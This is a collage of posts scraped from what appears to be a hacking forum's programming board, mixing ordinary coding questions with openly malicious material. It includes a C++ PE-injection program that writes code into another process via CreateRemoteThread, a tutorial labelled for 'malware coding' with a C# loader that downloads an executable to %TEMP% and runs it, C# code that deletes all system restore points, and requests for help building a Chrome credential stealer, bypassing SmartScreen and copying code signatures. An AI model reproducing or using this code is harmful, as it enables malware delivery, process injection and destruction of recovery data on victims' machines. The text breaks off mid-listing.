// Функция для обработки чанка: удаление дубликатов и запись уникальных строк во временный файл
static async Task<string> ProcessChunk(string[] chunk)
{
try
{
logger.LogInformation($"Начало обработки чанка размером {chunk.Length} строк");
if (chunk.Length == 0)
{
logger.LogWarning("Пустой чанк, пропуск записи во временный файл.");
return null; // Пропуск обработки пустого чанка
}
int originalCount = chunk.Length; // Количество строк до удаления дублей
var uniqueItems = chunk.AsParallel().Distinct().OrderBy(x => x).ToList(); // Удаление дублей и сортировка
int duplicateCount = originalCount - uniqueItems.Count; // Вычисление количества дубликатов
string tempFilePath = Path.Combine(tempDir, Path.GetRandomFileName()); // Создание имени временного файла
if (uniqueItems.Count > 0)
{
// Запись уникальных строк во временный файл
logger.LogInformation($"Чанк перед записью: {uniqueItems.Count} уникальных строк, дублей удалено: {duplicateCount}. Запись в файл {tempFilePath}");
await File.WriteAllLinesAsync(tempFilePath, uniqueItems);
logger.LogInformation($"Чанк успешно записан во временный файл {tempFilePath}");
return tempFilePath; // Возвращаем путь к временному файлу
}
logger.LogWarning($"Чанк пуст после удаления дублей, файл {tempFilePath} не создан.");
return null; // Если после удаления дублей чанк пуст, не создаём файл
}
catch (Exception ex)
{
// Логируем ошибку и возвращаем null
logger.LogError($"Ошибка при обработке чанка: {ex}");
return null;
}
}
// Функция для слияния временных файлов и удаления дублей
static async Task<(int, int)> MergeFiles(string[] tempFiles, string outputFile)
{
try
{
logger.LogInformation($"Окончательное слияние {tempFiles.Length} временных файлов в {outputFile}");
int uniqueCount = 0; // Счетчик уникальных строк
int duplicateCount = 0; // Счетчик дубликатов
// Создаем StreamWriter для записи результата в выходной файл
using (StreamWriter writer = new StreamWriter(outputFile, false, Encoding.UTF8))
{
// Открываем каждый временный файл с помощью StreamReader
var readers = tempFiles.Select(file => new StreamReader(file)).ToList();
// Используем итератор для объединения данных из всех файлов
var mergedIter = Merge(readers);
string prevLine = null; // Переменная для отслеживания предыдущей строки
// Проход по всем строкам, полученным из слияния
await foreach (var line in mergedIter)
{
// Если текущая строка не совпадает с предыдущей (т.е. строка уникальна)
if (line != prevLine)
{
// Записываем строку в файл
await writer.WriteLineAsync(line);
prevLine = line; // Обновляем предыдущую строку
uniqueCount++; // Увеличиваем счетчик уникальных строк
}
else
{
duplicateCount++; // Если строка повторяется, увеличиваем счетчик дубликатов
}
}
// Закрываем все StreamReader после завершения обработки
foreach (var reader in readers)
{
reader.Close();
}
}
// Логируем результаты слияния: сколько уникальных строк и сколько дубликатов было удалено
logger.LogInformation($"Слияние завершено. Уникальных строк: {uniqueCount}, дублей удалено: {duplicateCount}");
return (uniqueCount, duplicateCount); // Возвращаем количество уникальных строк и дубликатов
}
catch (Exception ex)
{
// Логируем ошибки, если произошел сбой при слиянии
logger.LogError($"Ошибка при слиянии файлов: {ex}");
return (0, 0); // Возвращаем 0 в случае ошибки
}
}
// Итератор для слияния строк из всех временных файлов
static async IAsyncEnumerable<string> Merge(IEnumerable<StreamReader> readers)
{
// Используем SortedDictionary для сортировки строк при слиянии
var pq = new SortedDictionary<string, List<StreamReader>>();
// Проходим по каждому StreamReader и добавляем первую строку в словарь
foreach (var reader in readers)
{
if (!reader.EndOfStream)
{
string line = await reader.ReadLineAsync();
if (!pq.ContainsKey(line))
pq[line] = new List<StreamReader>();
pq[line].Add(reader);
}
}
// Пока есть строки для обработки
while (pq.Count > 0)
{
var first = pq.First(); // Получаем первую (наименьшую) строку из словаря
yield return first.Key; // Возвращаем строку
// Читаем следующие строки из соответствующих StreamReader
foreach (var reader in first.Value)
{
if (!reader.EndOfStream)
{
string line = await reader.ReadLineAsync();
if (!pq.ContainsKey(line))
pq[line] = new List<StreamReader>();
pq[line].Add(reader); // Добавляем строку в словарь для дальнейшей обработки
}
}
// Удаляем обработанную строку из словаря
pq.Remove(first.Key);
}
}
}
Тестирование 100 миллионов строк на файле размером 2GB (Ryzen 5600 4700mhz, 32GB DDR4 3600Mhz):
P.S. Есть баги со счетчиками расчета дублей строк (мне лень пока это фиксить, буду признателен если кто пофиксит), давно не кодил на шарпе, но по образцовому файлу в 2 гигабайта, сортирует и чистит правильно.
По Virus Total один детект после компиляции:
Доброго времени суток. Реализовал маппинг файла. Задался вопросом, эффективние ли это RunPE? всё же не дергаются сторонние процессы, да и вызовов винапи гораздо меньше потребовалось.
Является ли эта методика LoadPE? не очень понял. И как вообще эффективна вплане обхода?(при условии скрытых импортов естественно)
i found it on github, but it got deleted
Привет ребят решил изучить с++ не подскажите видео,мануалы,книги на ютюбе много видео хз кого слушать за ранее спасибо , всем бобра
Народ может сможет кто подправить этот исходник под v3 onion:
https://github.com/wbenny/mini-tor/tree/v0.1.29
Автору писал, тот на отрез отказался.
На обычные сайты хорошо отстукивает, на onion естественно уже не стучит.
Вообще вещь полезная, много кому пригодится.
Всем привет, я начал изучать VNC. У меня много вопросов, на которые не могу найти ответы. Какой либой лучше всего сжимать данные? Зачем шифруется трафик?
Protocols
The extensible nature of UEFI is built around protocols. UEFI Drv are
sometimes confused with UEFI protocols. Although they are closely related,
they are distinctly different
UEFI Driver is executable the UEFI Image installs variety of protocols have
various handles to accomplish
its job.
[+] UEFI Protocol : is block function pointers and data structure api have
been defined by specification minimum the specification must define a (GUID).
This number is the protocols real name boot service like LocateProtocol
C++:Copy to clipboard
mBootScriptSave = 0;
Status = BS->LocateProtocol (&save, NULL, (VOID **)&mBootScriptSave);
uses this number to find his protocol in the handle database.
sometimes protocol often includes a set of procedures and/or data structures,
called The following code sequence is an example of a protocol definition.
Notice how it defines two function definitions and one
data field.
example of protocol definition
C++:Copy to clipboard
#define EFI_COMPONENT_NAME2_PROTOCOL_GUID \
{0x6a7a5cff, 0xe8d9, 0x4f70, { 0xba, 0xda, 0x75, 0xab, 0x30, 0x25, 0xce, 0x14 } } // global id for name protocol
typedef struct _EFI_COMPONENT_NAME2_PROTOCOL EFI_COMPONENT_NAME2_PROTOCOL;
Protocol Interface Structure
C++:Copy to clipboard
typedef struct _EFI_COMPONENT_NAME2_PROTOCOL {
[input] EFI_COMPONENT_NAME_GET_DRIVER_NAME GetDriverName; // get driver name
EFI_COMPONENT_NAME_GET_CONTROLLER_NAME GetControllerName;//get controller name
CHAR8 *SupportedLanguages; //List of supported languages, this protocol is RFC 4646
} EFI_COMPONENT_NAME2_PROTOCOL;
shows a single handle and protocol from the handle database that is produced
by a UEFI driver.
The protocol is composed of a GUID and a protocol interface structure.
Many times the UEFI driver that produces a protocol interface maintains
additional private data fields.
The protocolinterface structure itself simply contains pointers to the
protocol function.
The protocol functions are actually contained within the UEFI driver.
A UEFI driver might produce one protocol or many protocols depending on the
drivers complexity.
Not all protocols are defined in the UEFI
the UEFI Developer KIt(EDK) give a includes many protocols and that not part
of uefi Specification
These protocols provide the wider range of functionality that might be needed
in any particular implementation, but they are not defined in the
UEFI Specification because they do not present an external interface that is
required to support booting an OS or writing a UEFI driver. The creation of
new protocols is how UEFI-based systems can be extended over time as new
devices, buses, and technologies are introduced. For example, some protocols
[+] Varstore : interface abstract storage of UEFI persistent binary objects
[+] ConIn : character console input
[+] ConOut : character console output
[+] StdErr : character console output for error message
[+] PrimaryConIn : console input with primary view
[+] VgaMiniPort : Video Graphics Array output
[+] UsbAtapi : block access on USB bus
The UEFI Application Toolkit also contains a number of UEFI protocols that may be found on some platforms, such as:
[+] PPP Daemon : Point-to-Point Protocol driver
[+] Ramdisk : file system instance on a Random Access Memory buffer
[+] TCP/IP : Transmission Control Protocol / Internet Protocol
[+] The Trusted Computing Group interface and platform specificationClick to expand...
The OS loader and drivers should not depend on these types of protocols
because they are not guaranteed to be present in every UEFI-compliant system.
OS loaders and drivers should depend only on protocols that are defined in the
UEFI Specification and protocols that are required by platform design.
The extensible nature of UEFI allows the developers of each platform to design
and add special protocols. Using these protocols, they can expand the
capabilities of UEFI and provide access to proprietary devices and interfaces
in Because a protocol is “named” by a GUID, no other protocols should have
that same identification number.
Care must be taken when creating a new protocol to define a new GUID for it.
UEFI fundamentally assumes that acongruity with the rest of the UEFI
architecture.
specific GUID exposes a specific protocol interface.
Cutting and pasting an existing GUID or hand-modifying an existing GUID
creates the opportunity for a duplicate GUID to be introduced
A system containing a duplicate GUID
inadvertently could find the new protocol and think that it is another
protocol, crashing the system as a result. For these types of bugs, finding
the root cause is also very difficult. The GUID allows for naming APIs without
having to
worry about namespace collision. In systems such as PC/AT BIOS, services were
added as an enumeration. For example, the venerable Int15h interface
would pass the service type in AX. Since no central repository or
specification managed the evolution of Int15h services, several vendors
defined similar
service numbers, thus making interoperability with operating systems and preOS
applications difficult. Through the judicious use of GUIDs to name APIs
and an association to develop the specification, UEFI balances the need for
API evolution with interoperability
Working with Protocols
Working with Protocols
Any UEFI code can operate with protocols during boot time.
However after ExitBootServices(); is called,, the handle database is no longer
available.
Several UEFI boot time services work with UEFI protocols.
Multiple Protocol Instances
A handle may have many protocols attached to it. However, it may have only one
protocol of each type. In other words, a handle may not have more than one
instance of the exact same protocol. Otherwise, it would make requests for a
particular protocol on a handle nondeterministic.
However, drivers may create multiple instances of a particular protocol and
attach each instance to a different handle. The PCI I/O Protocol fits this
scenario, where the PCI bus driver installs a PCI I/O Protocol instance for
each PCI device. Each instance of the PCI I/O Protocol is configured with data
values that are unique to that PCI device, including the location and size of
the UEFI Option ROM (OpROM) image.
Also, each driver can install customized versions of the same protocol as long
as they do not use the same handle. For example, each UEFI driver
installs the Component Name Protocol on its driver image handle, yet when the
EFI_COMPONENT_NAME2_PROTOCOL::GetDriverName() function is called, each handle
returns the unique name of the driver that
owns that image handle.
The EFI_COMPONENT_NAME2_PROTOCOL::GetDriverName() function on the USB bus
driver handle returns "USB bus driver", but on the PXE driver handle it
returns "PXE base code driver"
Credit : thx so much for my old notes and edk2
Click to expand...
i apologize if I made a mistake in a specific point and please correct it and add extra information if you have it because I did not put all the information for several reasons
Click to expand...
Всем привет, помогите с решением проблемы.
Я в C++ не эксперт и в процессе написания всего этого добра изучаю потихоньку.
Сам алгоритм я в целом понимаю и предполагаю что проблема именно в том, чтобы
высчитать дельту и подгрузить необходимые dll. Сам софт который я хочу
подкгрузить - putty.exe.
Вот код который сейчас есть:
C++:Copy to clipboard
#include <stdio.h>
#include <Windows.h>
#include <wininet.h>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <vector>
#pragma comment(lib, "wininet.lib")
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
DWORD ExecuteInMemory(PVOID imageBase) {
int(*EntryPoint)() = (int(*)())((DWORD_PTR)imageBase + ((PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + ((PIMAGE_DOS_HEADER)imageBase)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);
return EntryPoint();
}
DWORD InjectionEntryPoint()
{
CHAR moduleName[128] = "";
GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
return 0;
}
bool DownloadFileFromURL(const wchar_t* url, std::vector<char>& buffer) {
HINTERNET hInternet = InternetOpen(L"Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hInternet) {
std::cerr << "Failed to open internet." << std::endl;
return false;
}
HINTERNET hFile = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hFile) {
std::cerr << "Failed to open URL." << std::endl;
InternetCloseHandle(hInternet);
return false;
}
char tempBuffer[4096];
DWORD bytesRead;
while (InternetReadFile(hFile, tempBuffer, sizeof(tempBuffer), &bytesRead) && bytesRead > 0) {
buffer.insert(buffer.end(), tempBuffer, tempBuffer + bytesRead);
}
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return true;
}
int main()
{
const wchar_t* url = L"https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
std::vector<char> buffer;
DownloadFileFromURL(url, buffer);
if (buffer.empty()) {
std::cerr << "Buffer is empty!" << std::endl;
return 1;
}
PVOID imageBase = buffer.data();
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
std::cerr << "Not a valid PE file!" << std::endl;
return 1;
}
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
std::cerr << "Not a valid NT header!" << std::endl;
return 1;
}
std::cout << "Entry point address: " << std::hex << (DWORD_PTR)imageBase + ntHeader->OptionalHeader.AddressOfEntryPoint << std::endl;
PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
if (localImage == NULL) {
std::cerr << "VirtualAlloc failed: " << GetLastError() << std::endl;
return 1;
}
memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
// Open the target process - this is process we will be injecting this PE into
HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 13408);
if (targetProcess == NULL) {
std::cerr << "OpenProcess failed: " << GetLastError() << std::endl;
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
// Allocate a new memory block in the target process. This is where we will be injecting this PE
PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (targetImage == NULL) {
std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl;
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationEntriesCount = 0;
PDWORD_PTR patchedAddress;
PBASE_RELOCATION_ENTRY relocationRVA = NULL;
while (relocationTable->SizeOfBlock > 0)
{
relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
for (short i = 0; i < relocationEntriesCount; i++)
{
if (relocationRVA[i].Offset)
{
patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
*patchedAddress += deltaImageBase;
}
}
relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
}
if (!WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL)) {
std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)targetImage + ntHeader->OptionalHeader.AddressOfEntryPoint), NULL, 0, NULL);
if (remoteThread == NULL) {
std::cerr << "CreateRemoteThread failed: " << GetLastError() << std::endl;
VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
WaitForSingleObject(remoteThread, INFINITE);
CloseHandle(remoteThread);
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
std::cout << "PE file successfully injected." << std::endl;
return 0;
}
Исключение сейчас получаю в этом месте:
C++:Copy to clipboard
*patchedAddress += deltaImageBase;
Само исключение выглядит следующим образом
Exception thrown: read access violation.
patchedAddress was 0x2A589655A51.
Процесс в который я пытаюсь внедрить - notepad.exe. PID указываю в этом месте (в дальнейщем планирую автоматически получать) -
C++:Copy to clipboard
HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 3676);
Дайте наводку куда смотреть и копать)
Hello, If I want to code a stealer, how could I implement sqlite functions in order to communicate with google chrome database? Is adding the full sqlite library a good practice? The same question for cryptographic functions I need to use in a stealer: If I use OpenSSL the final size is really huge. Should I use a smaller library or can I implement all crypto functions using winapi ?
need a pe loader coded in c sharp can be exe or dll output
Гугл толком не дает не чего. либо запрос ошибочно выдает определение RAM, запарился искать.
приветствую читателей данной статьи
статья предназначена для совсем новичков в малварь-кодинге и тут будет
максимально простой код
сегодня мы напишем простенький HTTP лоадер на C# без дотнетовского WebClient
проще говоря будем делать костыли
сразу скажу он не поддерживает HTTPS
итак, для начала набросаем переменных в код:
C#:Copy to clipboard
string url = "example.com";
string filePath = Path.Combine(Path.GetTempPath(), "program.exe");
думаю объяснять для чего они не нужно
далее мы пишем код который создает TCP-клиент и отправляет HTTP запрос на URL example.com/7z.exe и записывает ответ от сервера без HTTP-заголовка в %TEMP%\program.exe (название файла можно поменять в переменных которые мы создали выше)
C#:Copy to clipboard
using (TcpClient client = new TcpClient(url, 80))
using (NetworkStream networkStream = client.GetStream())
{
string request = "GET /7z.exe HTTP/1.1\r\n" +
$"Host: {url}\r\n" +
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" +
"Connection: close\r\n\r\n";
byte[] requestBytes = Encoding.UTF8.GetBytes(request);
networkStream.Write(requestBytes, 0, requestBytes.Length);
using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write))
{
byte[] buffer = new byte[8192];
int bytesRead;
bool headersProcessed = false;
while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0)
{
if (!headersProcessed)
{
string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead);
int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n");
if (headerEndIndex >= 0)
{
headersProcessed = true;
int bodyStartIndex = headerEndIndex + 4;
fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex);
}
}
else
{
fileStream.Write(buffer, 0, bytesRead);
}
}
}
}
следовательно если у вас файл расположен где-нибудь на
http://example.com/files/hosting/odfjoqiwfjwqof40.exe вы вместо "/7z.exe"
вставляете "/files/hosting/odfjoqiwfjwqof40.exe"
далее пишем код для запуска процесса:
C#:Copy to clipboard
System.Diagnostics.Process.Start(filePath);
вот и все, наш чудо-лоадер готов
how to build this rat
](https://github.com/61-6c-69/Ronin)
Remote administration tool. Contribute to 61-6c-69/Ronin development by creating an account on GitHub.
github.com
Есть задачка (фото прикрепленно), препод не то чтобы Java не преподавал, он про нее даже слова не сказал, и если с задачкой иосифа флавия еще как то справился то тут пиздец, может кто решить? или хотяб сырое решение накинуть? в долгу не останусь.(сам на html максимум писал что то, с этим так вообще не врубаюсь)
Привет. Друзья, подскажите какие то материалы по WinAPI, в контексте тематики
форума(RedTeam, pentesting)?
Язык Си уже немного изучил по двум учебникам.
Класс Anti Debug для c#
Скачать:
You must spend at least 1 day(s) on the forum to view the content.
](https://anonfiles.com/D4KbbfO4of/2_5442803507788777250_cs)
anonfiles.com
Hidden content for authorized users.
Создаём класс NativeMethods.cs запишем в него функцию [SRRemoveRestorePoint](https://docs.microsoft.com/en- us/windows/win32/api/srrestoreptapi/nf-srrestoreptapi-srremoverestorepoint)
C#:Copy to clipboard
internal static class NativeMethods
{
[DllImport("Srclient.dll")]
public static extern int SRRemoveRestorePoint(int index);
}
Создаём класс SysStore.cs
Не забываем подключить ссылку System.Management
C#:Copy to clipboard
using System;
using System.Management;
public class SysStore
{
public static void Inizialize()
{
try
{
using (ManagementObjectCollection searcher = new ManagementObjectSearcher("root\\DEFAULT", "SELECT * FROM SystemRestore").Get())
{
foreach (ManagementBaseObject collection in searcher)
{
int point = Convert.ToInt32(((uint)collection["sequencenumber"]).ToString());
NativeMethods.SRRemoveRestorePoint(point);
}
}
}
catch (Exception) { }
}
}
Далее просто вызываем метод
C#:Copy to clipboard
SysStore.Inizialize();
в любом месте.
C#:Copy to clipboard
namespace RestorePoints
{
using System;
internal static class Program
{
[STAThread]
public static void Main()
{
SysStore.Inizialize();
Console.ReadKey(true);
}
}
}
После этого в системе не будет ни одной записи для восстановления системы.
Народ кто нибудь работал с библиотекой dnlib?
Средствами dnlib библиотеки пробую изменить
версию, сама версия меняется ( проверял через утилиту die - Detect It
Easy )
Собственно код для изменения версии:
C#:Copy to clipboard
// MyBinaryExeFile - Файл .exe находящийся в ресурсах ( Version .NetFramework: 4.5 )
byte[] resource = Properties.Resources.MyBinaryExeFile;
using var module = ModuleDefMD.Load(resource);
if (module.IsILOnly)
{
module.RuntimeVersion = "v4.8.3928.0"; // тут меняется версия ( пробовал по разному с v и без и.т.д )
module?.Write(Path.Combine(GlobalPath.CurrDir, "NewBuild.exe"));
}
После запуска нового файла появляется ошибка:
Если убрать module.RuntimeVersion
то всё норм! Но с этим параметром ломается
Все версии NetFramework на компе установлены.
Hello, I want to contact and create a tor hidden service using C/C++, in order to learn how a malware that uses tor network works. Is there any source code sample (or library) about using tor from a C++ app? Should I embed a tor executable or there are better alternatives?
C:Copy to clipboard
__forceinline LARGE_INTEGER* WINAPI baseformat_timeout(LARGE_INTEGER* pLITimeout, DWORD dwMillis)
{
pLITimeout->QuadPart = ((LONGLONG)dwMillis * 10000) * -1;
return pLITimeout;
}
int sleep_bomb( DWORD dwMilliseconds, DWORD dwMagic )
{
NTSTATUS errCode;
LARGE_INTEGER Time;
PLARGE_INTEGER TimePtr;
BOOL bAlertable;
TimePtr = baseformat_timeout( &Time, dwMilliseconds );
if ( !TimePtr )
{
Time.LowPart = 0;
Time.HighPart = 0x80000000;
TimePtr = &Time;
}
bAlertable = TRUE;
do
{
errCode = NTLIB32.NtDelayExecution ( ( BOOLEAN )bAlertable, TimePtr );
}
while ( ( bAlertable ) &&\
( errCode == STATUS_ALERTED ) );
return ( errCode == STATUS_USER_APC ) \
? WAIT_IO_COMPLETION : 0;
}
Я шифрую с помощью функции CryptEncrypt, использую RSA с заполнением OAEP, переворачиваю байты зашифрованного файла, но когда я пытаюсь расшифровать файл с помощью openSSL, он говорит, что произошла ошибка при декодировании OAEP.
Основные плюсы и минусы языков программирования C/C++, C#, .NET и Java:
C/C++:
Плюсы:
Высокая производительность и эффективность, поскольку C/C++ являются
компилируемыми языками и выполняются напрямую на компьютере;
Большое количество библиотек и фреймворков для работы с низкоуровневыми
операциями, такими как работа с железом и операционной системой;
Возможность более глубокого управления памятью, что позволяет создавать
производительные приложения.
Минусы:
Трудности с управлением памятью, что может привести к ошибкам в работе
программы;
Сложность написания кода, поскольку C/C++ являются языками низкого уровня;
Меньшая скорость разработки, поскольку требуется больше времени для написания
и тестирования кода.
C#:
Плюсы:
Более высокий уровень абстракции, чем C/C++, что упрощает написание кода;
Использование сборок и библиотек .NET Framework позволяет быстро и эффективно
разрабатывать приложения;
Встроенное управление памятью, что снижает риск ошибок в работе программы.
Минусы:
Ограничение использования только на платформе Windows;
Более низкая производительность, чем у C/C++;
Более высокая скорость выполнения программы, по сравнению с другими языками,
но все же не такая высокая, как у C/C++.
.NET:
Плюсы:
Использование общего языка выполнения (Common Language Runtime, CLR) позволяет
использовать различные языки программирования, включая C#, F# и Visual Basic;
Большое количество библиотек и фреймворков для работы с операционной системой
и другими системными ресурсами;
Встроенная поддержка многопоточности.
Минусы:
Ограничение использования только на платформе Windows;
Высокий уровень абстракции может снизить производительность;
Более низкая производительность, чем у C/C++.
Java:
Плюсы:
Поддержка кроссплатформеность, что позволяет разработчикам создавать
приложения для разных операционных систем;
Встроенное управление памятью, что снижает риск ошибок в работе программы;
Большое количество библиотек и фреймворков для работы с различными задачами,
такими как веб-разработка и обработка данных. Минусы:
Более низкая производительность, чем у C/C++; Ограничения в использовании низкоуровневых операций; Сложности с оптимизацией производительности на больших объемах данных.
HI people of xss, i need little help in c++, i want to convert hex string string raw="\xb9\xc7\x82\x52\xeb\x37" (containing shellcode) to a byte array like (char shellcode[]= { 0x00, 0xff, ... } ; )
sry this is a very silly question but i searched on internet but didnt got aything that i can use. pls help, THX IN ADVANCE )
тема, на плюсах
Название: [Andrey Sumin] Java с нуля до Junior + Подготовка к собеседованию (2020)
Автор: Udemy
Описание:
Чему вы научитесь
Разработка программ на языке Java
Синтаксис языка Java
Основные конструкции - циклы и условия
Объектно-ориентированное программирование
Многопоточность
JUnit-тестирование
Collections Framework (подробный разбор)
Generics (обобщения)
Stream API
Потоки ввода-вывода
Подготовка к собеседованию
Требования
Наличие желания
Наличие компьютера
Всем привет и добро пожаловать на полный курс Java с нуля!
Меня зовут Андрей Сумин.
Этот курс предназначен как для людей, которые никогда не изучали языки программирования, так и для тех, кто уже знает язык Java и хочет углубить свои знания и подготовиться к собеседованию на должность Junior разработчика.
Java - это очень мощный язык, который используется в очень многих сферах: в веб разработке, в разработке приложений под Андроид, в серверных приложениях, и считается довольно сложным для новичков, но не переживайте, я специально построил материал таким образом, чтобы он был понятен школьникам и студентам и людям различных профессий в том числе нетехнических, у которых нет никакого опыта в программировании. Все что нужно от вас – это желание учиться и наличие компьютера. Лекции содержат домашние задания, чтобы вы не просто прослушали материал, но и закрепили его на практике.
В этом курсе мы с самого нуля изучим синтаксис Java, основные конструкции – циклы и условия, рассмотрим объектно-ориентированное программирование, узнаем такие страшные понятия как инкапсуляция, наследование и полиморфизм, и что оказывается не такие уж они и страшные, научимся создавать многопоточные программы и многое другое.
Во втором разделе курса мы начнем углубленное изучение Java. Познакомимся с JUnit-тестированием, очень подробно разберем самые популярные коллекции из Java Collections Framework и напишем свои реализации многих из них. Глубоко разберем одну из самых сложных тем в Java - многопоточное программирование, поработаем с файлами, потоками ввода-вывода, Stream API и многое другое.
Каждый раздел будет разбором самых популярных вопросов на собеседовании. По окончании курса вы должны быть полностью готовы пройти интервью по части Java SE на должность Junior-разработчика.
Если после изучения основ Java, вы планируете заняться разработкой приложений под Android, то здесь же на сайте вы можете найти мой курс по Android, буду рад видеть вас там.
Желаю вам успеха в освоении новой профессии, и до встречи на страницах курса.
Для кого этот курс:
Для прохождения этого курса не нужны никакие начальные знания, курс рассчитан
на людей, которые никогда не занимались программированием.
P.S. Ссылку обновить не смогу, кому нужно качайте сейчас
Подскажите бесплатные песочницы с api для анализа файла на вредоносное ПО (пишу на .net core)
Гайды пж
How can i bypass Microsoft Defender SmartScreen, to not flag my executable. currently when trying to run the payload executable. we see the warning message.
Windows protected your PC
Microsoft Defender SmartScreen prevented an unrecognized app from starting. Running this app might put your PC at risk.
Is there a way to maybe copy a code signature from a already trusted software.
or obtain one myself remaining completely anonymous, and without analysis of
my code.
Or perhaps any other tried and tested methods.
Читаю КРИС КАСПЕРСКИ Путь воина – внедрение в pe/coff-файлы. В главе про импорт говорится
Стандартный механизм импорта работает приблизительно так: специальная таблица (называемая таблицей импорта) перечисляет имена/ординалы всех импортируемых функций, указывая, в какое место страничного имиджа загрузчик должен записать эффективный адрес каждой из них. Грубо говоря, на каждую импортируемую функцию приходится один вызов GetProcAddress, фактически сводящийся к поэлементному перебору всей таблицы экспорта.
Click to expand...
Не много не понял. Про таблицу импорта он имеет в виду саму секцию Import
Table , то есть .idata секцию
Цитата из документации msdn
Import Table| The import table address and size. For more information, see [The .idata Section](https://learn.microsoft.com/en- us/windows/win32/debug/pe-format#the-idata-section).
---|---Click to expand...
Перечисляет он имена от куда? Из структуры _IMAGE_IMPORT_DESCRIPTOR ? А куда именно записывает этот эффективный адрес ? В IAT ? Помоги мне пожалуйста разобраться , я совсем уже запутался
Смотрите, че нашел: https://github.com/Nekrolm/ubbook - выглядит, как маст рид для тех, кто хочет или уже кодит на Плюсах (не смотря на все мои предостережения ).
Можете подкинуть именно msvcrt.lib из 6 судии.
Нужна CRT для поддержки овер xp version windows, а тащить с собой dll такой
себе вариант.
p.s. киньте еще msvcrt_winxp.obj
Hello i saw someone who generate a C / C ++ array from netwire then somehow he build a dll through it and injects it in a legitimate executable by dll injection, can someone guide me please how to use that C / C ++ array from netwire into a dll then executable, i would really appreciate the help and even willing to pay for someone to teach me please as i dont have much knowledge
I needed some code for recursive filesearch and wanted something that didn't depend on any external libraries or headers besides the winapi so I wrote this:
C++:Copy to clipboard
#include <Windows.h>
#include <iostream>
void file_lister(std::wstring folder)
{
std::wstring folder_path = folder + L"\\*";
WIN32_FIND_DATA fd;
HANDLE handle = FindFirstFile(folder_path.c_str(), &fd);
if (handle == INVALID_HANDLE_VALUE)
return;
while (FindNextFile(handle, &fd)){
if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
continue;
std::wstring path = folder + L"\\" + std::wstring(fd.cFileName);
std::wcout << path << std::endl;
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
file_lister(path);
}
}
FindClose(handle);
}
int main() {
file_lister(L"C:\\Users");
return 0;
}
It can be easily ported to C (just remove the use of iostream and change around a few of the datatypes) Feedback appreciated
проект растет, на данный момент нужен джун.
Hidden content for authorized users.
Пишем покерного бота,
Оплата договорная, зарплата или дадим бота для игры.
наш стек Spring Boot+, C# WinForms 4.+, JS для ajax, bootstrap
Если есть желание пишите ПМ:
CV (можно пару строк, стек и опыт работы)
Линк на github если есть что посмотреть.
Шуршал у себя на компе, обнаружил такой класс CertSigning.cs , может будет интересно кому-то для своих реализаций, умеет подписывать файлы сертификатом.
C#:Copy to clipboard
namespace Sign
{
using System;
using System.IO;
public static class CertSigning
{
public static byte[] CopySign(string path, bool bool0)
{
using var fileStream = new FileStream(path, FileMode.Open);
